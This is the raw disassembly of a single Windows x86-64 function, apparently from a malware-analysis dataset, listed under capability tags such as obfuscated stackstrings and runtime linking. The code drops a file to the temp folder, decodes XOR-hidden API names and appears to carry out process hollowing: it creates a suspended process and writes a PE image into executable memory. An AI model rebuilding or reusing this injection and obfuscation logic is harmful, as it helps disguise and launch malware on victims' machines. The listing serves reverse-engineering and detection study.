Function at 0x140001850
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Get common file path
Link many functions at runtime
Parse pe header
Write file on windows

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
mov eax, 0x2088
call fcn.14002c8f0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2040], rcx
mov rax, qword [rbp + 0x2040]
mov qword [rbp + 0x1fd8], rax
mov rax, qword [rbp + 0x1fd8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x1fd8]
add rax, rdx
mov qword [rbp + 0x1fd0], rax
mov rax, qword [rbp + 0x1fd8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x1fd8]
add rax, rdx
add rax, 0x108
mov qword [rbp + 0x1fc8], rax
cmp qword [rbp + 0x1fd8], 0
je 0x1400018e2
cmp qword [rbp + 0x1fd0], 0
je 0x1400018e2
cmp qword [rbp + 0x1fc8], 0
jne 0x1400018ec
mov ebx, 0
jmp 0x140003b64
lea rax, [rbp + 0x1a20]
mov rdx, rax
mov ecx, 0x100
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call rax
mov ecx, 0
call fcn.140001450
mov ecx, eax
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
movabs rax, 0x3433474644455751
movabs rdx, 0x7663787a38373635
mov qword [rbp + 0x1a00], rax
mov qword [rbp + 0x1a08], rdx
mov word [rbp + 0x1a10], 0x6e62
lea rdx, [rbp + 0x18f0]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
mov ecx, eax
movsxd rax, ecx
imul rax, rax, 0x66666667
shr rax, 0x20
mov edx, eax
sar edx, 2
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
lea eax, [rdx + 0xa]
mov dword [rbp + 0x1fc4], eax
mov dword [rbp + 0x1ffc], 0
jmp 0x140001a0b
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
movsxd rcx, eax
movabs rdx, 0xe38e38e38e38e38f
mov rax, rcx
mul rdx
shr rdx, 4
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
sub rcx, rax
mov rdx, rcx
mov dword [rbp + 0x1efc], edx
mov word [rbp + 0x2e], 0
mov eax, dword [rbp + 0x1efc]
cdqe
movzx eax, byte [rbp + rax + 0x1a00]
mov byte [rbp + 0x2e], al
lea rdx, [rbp + 0x2e]
lea rax, [rbp + 0x18f0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add dword [rbp + 0x1ffc], 1
mov eax, dword [rbp + 0x1ffc]
cmp eax, dword [rbp + 0x1fc4]
jl 0x1400019a3
lea rdx, [rbp + 0x1a20]
lea rax, [rbp + 0x16e0]
mov rcx, rax
call fcn.1400335f0
lea rdx, [rbp + 0x18f0]
lea rax, [rbp + 0x16e0]
mov rcx, rax
call fcn.1400335b0
mov word [rbp + 0x18e6], 0
mov qword [rbp + 0x16d8], 0
lea rdx, [rbp + 0x16e0]
lea rax, [rbp + 0x16d8]
lea r8, [0x1400a21ea]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
call rax
mov dword [rbp + 0x1fc0], eax
cmp dword [rbp + 0x1fc0], 0
jne 0x140001a95
mov rax, qword [rbp + 0x16d8]
test rax, rax
jne 0x140001a9f
mov ebx, 0
jmp 0x140003b64
mov byte [rbp + 0x1c29], 0x2f
mov byte [rbp + 0x1c2a], 0x15
mov byte [rbp + 0x1c2b], 0x95
mov byte [rbp + 0x1c2c], 0x4a
mov byte [rbp + 0x1c2d], 0xc1
mov byte [rbp + 0x1c2e], 0x78
lea rax, [rbp + 0x1c29]
mov r12, rax
mov r13d, 6
lea rax, [rbp + 0x1c2f]
mov qword [rbp + 0x1ef0], rax
nop
nop
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r13
lea rcx, [rbp + 0x1c2f]
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x16c0]
mov r8, rcx
mov rcx, rax
call fcn.14003d240
lea rax, [rbp + 0x1c2f]
mov rcx, rax
call fcn.14003ccd0
nop
lea rax, [rbp + 0x4c0]
lea rdx, [0x1400a21f0]
mov ecx, 0x240
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
lea rdx, [rbp + 0x4c0]
lea rax, [rbp + 0x16c0]
mov r8d, 0x1200
mov rcx, rax
call fcn.140001594
mov rdx, qword [rbp + 0x16d8]
lea rax, [rbp + 0x4c0]
mov r9, rdx
mov r8d, 0x1200
mov edx, 1
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rax, qword [rbp + 0x16d8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rdx, qword [rbp + 0x1fc8]
mov rax, qword [rbp + 0x1fd0]
mov rcx, rax
call fcn.140001472
mov byte [rbp + 0x1fbf], al
mov rax, qword [rbp + 0x2040]
mov qword [rbp + 0x1fb0], rax
lea rax, [rbp + 0x450]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [rbp + 0x450], 0x68
lea rax, [rbp + 0x430]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov word [rbp + 0x410], 0x5f
mov word [rbp + 0x412], 0x50
mov word [rbp + 0x414], 0x44
mov word [rbp + 0x416], 0x59
mov word [rbp + 0x418], 0x5d
mov word [rbp + 0x41a], 0x55
mov word [rbp + 0x41c], 9
mov word [rbp + 0x41e], 9
mov word [rbp + 0x420], 0x12
mov word [rbp + 0x422], 0x59
mov word [rbp + 0x424], 0x52
mov word [rbp + 0x426], 0x53
mov word [rbp + 0x428], 0x40
lea rax, [rbp + 0x410]
mov qword [rbp + 0x1ee8], rax
mov rax, qword [rbp + 0x1ee8]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
test al, al
je 0x140001d27
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x410]
mov qword [rbp + 0x1ee0], rdx
mov qword [rbp + 0x1ed8], rax
mov dword [rbp + 0x1ed4], 0
jmp 0x140001d1d
mov eax, dword [rbp + 0x1ed4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1ed8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1ed4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1ee0]
mov edx, dword [rbp + 0x1ed4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1ed4], 1
cmp dword [rbp + 0x1ed4], 0xc
jle 0x140001cb5
nop
lea rax, [rbp + 0x410]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp + 0x1fa8], rax
cmp qword [rbp + 0x1fa8], 0
jne 0x140001d55
mov ebx, 0
jmp 0x140003b55
lea rax, [rbp + 0x410]
mov qword [rbp + 0x1ec8], rax
mov rax, qword [rbp + 0x1ec8]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140001e19
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x410]
mov qword [rbp + 0x1ec0], rdx
mov qword [rbp + 0x1eb8], rax
mov dword [rbp + 0x1eb4], 0
jmp 0x140001e0f
mov eax, dword [rbp + 0x1eb4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1eb8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1eb4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1ec0]
mov edx, dword [rbp + 0x1eb4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1eb4], 1
cmp dword [rbp + 0x1eb4], 0xc
jle 0x140001da7
nop
mov dword [rbp + 0x1e90], 0
jmp 0x140001e3e
mov eax, dword [rbp + 0x1e90]
cdqe
mov word [rbp + rax*2 + 0x410], 0
add dword [rbp + 0x1e90], 1
cmp dword [rbp + 0x1e90], 0xc
jle 0x140001e25
nop
mov word [rbp + 0x3f0], 0x77
mov word [rbp + 0x3f2], 0x47
mov word [rbp + 0x3f4], 0x53
mov word [rbp + 0x3f6], 0x56
mov word [rbp + 0x3f8], 0x4c
mov word [rbp + 0x3fa], 0x5c
mov word [rbp + 0x3fc], 0x6a
mov word [rbp + 0x3fe], 0x49
mov word [rbp + 0x400], 0x53
mov word [rbp + 0x402], 0x5e
mov word [rbp + 0x404], 0x5b
mov word [rbp + 0x406], 0x4c
mov word [rbp + 0x408], 0x33
mov word [rbp + 0x40a], 0x16
mov word [rbp + 0x40c], 0x42
lea rax, [rbp + 0x3f0]
mov qword [rbp + 0x1ea8], rax
mov rax, qword [rbp + 0x1ea8]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x140001f90
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0x1ea0], rdx
mov qword [rbp + 0x1e98], rax
mov dword [rbp + 0x1e94], 0
jmp 0x140001f86
mov eax, dword [rbp + 0x1e94]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1e98]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1e94]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1ea0]
mov edx, dword [rbp + 0x1e94]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1e94], 1
cmp dword [rbp + 0x1e94], 0xe
jle 0x140001f1e
nop
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400014e5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1fa0], rax
cmp qword [rbp + 0x1fa0], 0
jne 0x140001fd0
mov ebx, 0
jmp 0x140003b55
mov r10, qword [rbp + 0x1fa0]
lea rax, [rbp + 0x16e0]
lea rdx, [rbp + 0x430]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x450]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0x1f9f], al
movzx eax, byte [rbp + 0x1f9f]
test eax, eax
jne 0x140002050
mov ebx, 0
jmp 0x140003b55
lea rax, [rbp + 0x3f0]
mov qword [rbp + 0x1e88], rax
mov rax, qword [rbp + 0x1e88]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002114
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x3f0]
mov qword [rbp + 0x1e80], rdx
mov qword [rbp + 0x1e78], rax
mov dword [rbp + 0x1e74], 0
jmp 0x14000210a
mov eax, dword [rbp + 0x1e74]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1e78]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1e74]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1e80]
mov edx, dword [rbp + 0x1e74]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1e74], 1
cmp dword [rbp + 0x1e74], 0xe
jle 0x1400020a2
nop
mov dword [rbp + 0x1e70], 0
jmp 0x140002139
mov eax, dword [rbp + 0x1e70]
cdqe
mov word [rbp + rax*2 + 0x3f0], 0
add dword [rbp + 0x1e70], 1
cmp dword [rbp + 0x1e70], 0xe
jle 0x140002120
nop
cmp byte [rbp + 0x1fbf], 0
je 0x1400023b5
mov word [rbp + 0x10], 0x7d
mov word [rbp + 0x12], 0x46
mov word [rbp + 0x14], 0x61
mov word [rbp + 0x16], 0x58
mov word [rbp + 0x18], 0x4f
mov word [rbp + 0x1a], 0xf
mov word [rbp + 0x1c], 0xe
mov word [rbp + 0x1e], 0x6b
mov word [rbp + 0x20], 0x4e
mov word [rbp + 0x22], 0x52
mov word [rbp + 0x24], 0x5d
mov word [rbp + 0x26], 0x5a
mov word [rbp + 0x28], 0x33
mov word [rbp + 0x2a], 0x32
mov word [rbp + 0x2c], 0x42
lea rax, [rbp + 0x10]
mov qword [rbp + 0x1e68], rax
mov rax, qword [rbp + 0x1e68]
mov qword [rbp + 0x1e60], rax
mov rax, qword [rbp + 0x1e60]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x140002276
mov rax, qword [rbp + 0x1e68]
mov rdx, qword [rbp + 0x1e68]
mov qword [rbp + 0x1e58], rdx
mov qword [rbp + 0x1e50], rax
mov dword [rbp + 0x1e4c], 0
jmp 0x14000226c
mov eax, dword [rbp + 0x1e4c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1e50]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1e4c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1e58]
mov edx, dword [rbp + 0x1e4c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1e4c], 1
cmp dword [rbp + 0x1e4c], 0xe
jle 0x140002204
nop
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.1400014e5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f90], rax
cmp qword [rbp + 0x1f90], 0
jne 0x1400022b3
mov ebx, 0
jmp 0x140003b55
mov r8, qword [rbp + 0x1f90]
mov rax, qword [rbp + 0x430]
lea rdx, [rbp + 0x3ec]
mov rcx, rax
call r8
lea rax, [rbp + 0x10]
mov qword [rbp + 0x1e40], rax
mov rax, qword [rbp + 0x1e40]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002389
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x1e38], rdx
mov qword [rbp + 0x1e30], rax
mov dword [rbp + 0x1e2c], 0
jmp 0x14000237f
mov eax, dword [rbp + 0x1e2c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1e30]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1e2c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1e38]
mov edx, dword [rbp + 0x1e2c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1e2c], 1
cmp dword [rbp + 0x1e2c], 0xe
jle 0x140002317
nop
mov dword [rbp + 0x1e28], 0
jmp 0x1400023ab
mov eax, dword [rbp + 0x1e28]
cdqe
mov word [rbp + rax*2 + 0x10], 0
add dword [rbp + 0x1e28], 1
cmp dword [rbp + 0x1e28], 0xe
jle 0x140002395
nop
mov word [rbp + 0x3c0], 0x62
mov word [rbp + 0x3c2], 0x5c
mov word [rbp + 0x3c4], 0x44
mov word [rbp + 0x3c6], 0x43
mov word [rbp + 0x3c8], 0x4d
mov word [rbp + 0x3ca], 0x58
mov word [rbp + 0x3cc], 0x56
mov word [rbp + 0x3ce], 0x7a
mov word [rbp + 0x3d0], 0x50
mov word [rbp + 0x3d2], 0x51
mov word [rbp + 0x3d4], 0x51
mov word [rbp + 0x3d6], 0x5c
mov word [rbp + 0x3d8], 5
mov word [rbp + 0x3da], 0x39
mov word [rbp + 0x3dc], 0x42
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0x1e20], rax
mov rax, qword [rbp + 0x1e20]
mov qword [rbp + 0x1e18], rax
mov rax, qword [rbp + 0x1e18]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
test al, al
je 0x14000250b
mov rax, qword [rbp + 0x1e20]
mov rdx, qword [rbp + 0x1e20]
mov qword [rbp + 0x1e10], rdx
mov qword [rbp + 0x1e08], rax
mov dword [rbp + 0x1e04], 0
jmp 0x140002501
mov eax, dword [rbp + 0x1e04]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1e08]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1e04]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1e10]
mov edx, dword [rbp + 0x1e04]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1e04], 1
cmp dword [rbp + 0x1e04], 0xe
jle 0x140002499
nop
lea rax, [rbp + 0x3c0]
mov rcx, rax
call fcn.1400014e5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f88], rax
cmp qword [rbp + 0x1f88], 0
jne 0x14000254b
mov ebx, 0
jmp 0x140003b55
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0x1df8], rax
mov rax, qword [rbp + 0x1df8]
movzx eax, word [rax + 0x1c]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x14000260f
lea rax, [rbp + 0x3c0]
lea rdx, [rbp + 0x3c0]
mov qword [rbp + 0x1df0], rdx
mov qword [rbp + 0x1de8], rax
mov dword [rbp + 0x1de4], 0
jmp 0x140002605
mov eax, dword [rbp + 0x1de4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1de8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1de4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1df0]
mov edx, dword [rbp + 0x1de4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1de4], 1
cmp dword [rbp + 0x1de4], 0xe
jle 0x14000259d
nop
mov dword [rbp + 0x1de0], 0
jmp 0x140002634
mov eax, dword [rbp + 0x1de0]
cdqe
mov word [rbp + rax*2 + 0x3c0], 0
add dword [rbp + 0x1de0], 1
cmp dword [rbp + 0x1de0], 0xe
jle 0x14000261b
nop
mov r10, qword [rbp + 0x1f88]
mov rax, qword [rbp + 0x1fd0]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x1fd0]
mov eax, dword [rax + 0x34]
mov eax, eax
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
call r10
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
test rax, rax
jne 0x140002926
mov word [rbp - 0x20], 0x60
mov word [rbp - 0x1e], 0x50
mov word [rbp - 0x1c], 0x44
mov word [rbp - 0x1a], 0x5a
mov word [rbp - 0x18], 0x51
mov word [rbp - 0x16], 0x57
mov word [rbp - 0x14], 0x5b
mov word [rbp - 0x12], 0x4f
mov word [rbp - 0x10], 0x59
mov word [rbp - 0xe], 0x6d
mov word [rbp - 0xc], 0x4c
mov word [rbp - 0xa], 0x50
mov word [rbp - 8], 0x23
mov word [rbp - 6], 0x24
mov word [rbp - 4], 0x31
mov word [rbp - 2], 0x30
mov word [rbp], 0x44
lea rax, [rbp - 0x20]
mov qword [rbp + 0x1dd8], rax
mov rax, qword [rbp + 0x1dd8]
mov qword [rbp + 0x1dd0], rax
mov rax, qword [rbp + 0x1dd0]
movzx eax, word [rax + 0x20]
test ax, ax
setne al
test al, al
je 0x1400027c7
mov rax, qword [rbp + 0x1dd8]
mov rdx, qword [rbp + 0x1dd8]
mov qword [rbp + 0x1dc8], rdx
mov qword [rbp + 0x1dc0], rax
mov dword [rbp + 0x1dbc], 0
jmp 0x1400027bd
mov eax, dword [rbp + 0x1dbc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1dc0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1dbc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1dc8]
mov edx, dword [rbp + 0x1dbc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1dbc], 1
cmp dword [rbp + 0x1dbc], 0x10
jle 0x140002755
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400014e5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f80], rax
cmp qword [rbp + 0x1f80], 0
jne 0x140002804
mov ebx, 0
jmp 0x140003b55
mov r8, qword [rbp + 0x1f80]
mov rax, qword [rbp + 0x430]
mov edx, 0
mov rcx, rax
call r8
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
lea rax, [rbp - 0x20]
mov qword [rbp + 0x1db0], rax
mov rax, qword [rbp + 0x1db0]
movzx eax, word [rax + 0x20]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x1400028eb
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0x1da8], rdx
mov qword [rbp + 0x1da0], rax
mov dword [rbp + 0x1d9c], 0
jmp 0x1400028e1
mov eax, dword [rbp + 0x1d9c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1da0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1d9c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1da8]
mov edx, dword [rbp + 0x1d9c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1d9c], 1
cmp dword [rbp + 0x1d9c], 0x10
jle 0x140002879
nop
mov dword [rbp + 0x1d98], 0
jmp 0x14000290d
mov eax, dword [rbp + 0x1d98]
cdqe
mov word [rbp + rax*2 - 0x20], 0
add dword [rbp + 0x1d98], 1
cmp dword [rbp + 0x1d98], 0x10
jle 0x1400028f7
nop
mov rax, qword [rbp + 0x2040]
mov rcx, rax
call fcn.140001850
mov rax, qword [rbp + 0x3b8]
mov edx, eax
mov rax, qword [rbp + 0x1fd0]
mov eax, dword [rax + 0x34]
sub edx, eax
mov dword [rbp + 0x1f7c], edx
mov word [rbp + 0x390], 0x63
mov word [rbp + 0x392], 0x47
mov word [rbp + 0x394], 0x5f
mov word [rbp + 0x396], 0x43
mov word [rbp + 0x398], 0x5d
mov word [rbp + 0x39a], 0x69
mov word [rbp + 0x39c], 0x48
mov word [rbp + 0x39e], 0x54
mov word [rbp + 0x3a0], 0x5f
mov word [rbp + 0x3a2], 0x58
mov word [rbp + 0x3a4], 0x4d
mov word [rbp + 0x3a6], 0x4c
mov word [rbp + 0x3a8], 0xd
mov word [rbp + 0x3aa], 0x24
mov word [rbp + 0x3ac], 0x2f
mov word [rbp + 0x3ae], 0x2c
mov word [rbp + 0x3b0], 0x36
mov word [rbp + 0x3b2], 0x3c
mov word [rbp + 0x3b4], 0x46
lea rax, [rbp + 0x390]
mov qword [rbp + 0x1d90], rax
mov rax, qword [rbp + 0x1d90]
mov qword [rbp + 0x1d88], rax
mov rax, qword [rbp + 0x1d88]
movzx eax, word [rax + 0x24]
test ax, ax
setne al
test al, al
je 0x140002abb
mov rax, qword [rbp + 0x1d90]
mov rdx, qword [rbp + 0x1d90]
mov qword [rbp + 0x1d80], rdx
mov qword [rbp + 0x1d78], rax
mov dword [rbp + 0x1d74], 0
jmp 0x140002ab1
mov eax, dword [rbp + 0x1d74]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1d78]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1d74]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1d80]
mov edx, dword [rbp + 0x1d74]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1d74], 1
cmp dword [rbp + 0x1d74], 0x12
jle 0x140002a49
nop
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.1400014e5
mov rdx, rax
mov rax, qword [rbp + 0x1fa8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f70], rax
lea rax, [rbp + 0x390]
mov qword [rbp + 0x1d68], rax
mov rax, qword [rbp + 0x1d68]
movzx eax, word [rax + 0x24]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002bab
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x390]
mov qword [rbp + 0x1d60], rdx
mov qword [rbp + 0x1d58], rax
mov dword [rbp + 0x1d54], 0
jmp 0x140002ba1
mov eax, dword [rbp + 0x1d54]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1d58]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0x1d54]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0x1d60]
mov edx, dword [rbp + 0x1d54]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0x1d54], 1
cmp dword [rbp + 0x1d54], 0x12
jle 0x140002b39
nop
mov dword [rbp + 0x1d50], 0
jmp 0x140002bd0
mov eax, dword [rbp + 0x1d50]
cdqe
mov word [rbp + rax*2 + 0x390], 0
add dword [rbp + 0x1d50], 1
cmp dword [rbp + 0x1d50], 0x12
jle 0x140002bb7
nop
mov byte [rbp + 0x1ffb], 0
cmp byte [rbp + 0x1fbf], 0
je 0x140002c49
mov rax, qword [rbp + 0x3b8]
mov edx, eax
mov rax, qword [rbp + 0x1fd0]
mov dword [rax + 0x34], edx
mov r10, qword [rbp + 0x1f70]
mov rax, qword [rbp + 0x1fd0]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp + 0x3b8]
mov rax, qword [rbp + 0x430]
mov rcx, qword [rbp + 0x1fb0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0x1ffb], al
